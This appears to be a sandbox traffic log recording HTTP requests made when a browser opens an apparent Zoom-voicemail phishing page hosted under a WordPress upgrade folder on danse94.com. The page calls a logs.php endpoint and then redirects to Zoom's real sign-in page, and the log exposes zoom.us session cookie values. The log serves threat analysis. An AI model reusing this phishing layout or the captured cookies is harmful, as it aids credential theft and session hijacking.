Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/zoomvoicemail/chameleon/ HTTP/1.1Host: danse94.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveOrigin: https://danse94.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://danse94.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://danse94.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://danse94.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveOrigin: https://danse94.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://danse94.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://danse94.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://danse94.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ah4r.com HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://danse94.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ah4r.com HTTP/1.1Host: logo.clearbit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/zoomvoicemail/chameleon/logs.php HTTP/1.1Host: danse94.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/upgrade/zoomvoicemail/chameleon/logs.php HTTP/1.1Host: danse94.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signin HTTP/1.1Host: zoom.usConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://danse94.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/zm_bundle.js?cache HTTP/1.1Host: zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/signinAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; cred=F8FA6186893F4213B1F7D363494E2E38; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /csrf_js HTTP/1.1Host: zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/signinAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; cred=F8FA6186893F4213B1F7D363494E2E38; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/lib/jsSHA/sha256.min.js HTTP/1.1Host: st2.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /assets/zm_bundle.js?async HTTP/1.1Host: zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/signinAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; cred=F8FA6186893F4213B1F7D363494E2E38; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/app/optimizely/helper.min.js HTTP/1.1Host: st2.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/css/fonts/internacional.min.css HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/css/all.min.css HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /fe-static/fe-signup-login-active/css/vendors~app.fd300935.css HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /fe-static/fe-signup-login-active/css/app.15728d9c.css HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/css/fonts/suisse.min.css HTTP/1.1Host: st3.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/css/meetings/meeting_delete_dialog.min.css HTTP/1.1Host: st3.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/lib/vue/vue.min.js HTTP/1.1Host: st3.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/lib/vue/advanced/notification/notification.min.css HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/app/jquery.validate.message.min.js HTTP/1.1Host: st3.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/lib/fingerprintjs-3.3.3.min.js HTTP/1.1Host: st3.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; __cf_bm=gh9QP4HWZmo9ZYH_GqVSazuv.cIOO5Ykz4MQhOVDgwI-1741993361-1.0.1.1-UMEJoFomLmYfOHtaFUI1MCAAVMEbnuxC.4ySyHSlbVY_RTpJCqc1SfuIzHwGJV6qqy.Q_0fvSzfwvXZvB4zmzbQyMahd6kiqFdKOZG0guVM
Source: global traffic	HTTP traffic detected: GET /static/6.3.32395/js/app/common/monitor.min.js HTTP/1.1Host: st1.zoom.usConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zoom.us/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _zm_ssid=aw1_c_wd8nUmBGTvaFtLjOUGtDzg; _zm_ctaid=dR8gOw9dST6oU7Rtiftr4g.1741993361384.ff634f32c5b92053feca98c566acd826; _zm_chtaid=228; _zm_mtk_guid=fe11c83b499f43209aa9799f2717c394; _zm_csp_script_nonce=7slAlB4vSvmk_Q_wp-wq8A; _zm_currency=USD; _zm_visitor_guid=99314f1fe9464f6e8cef8bf998e4b33f; 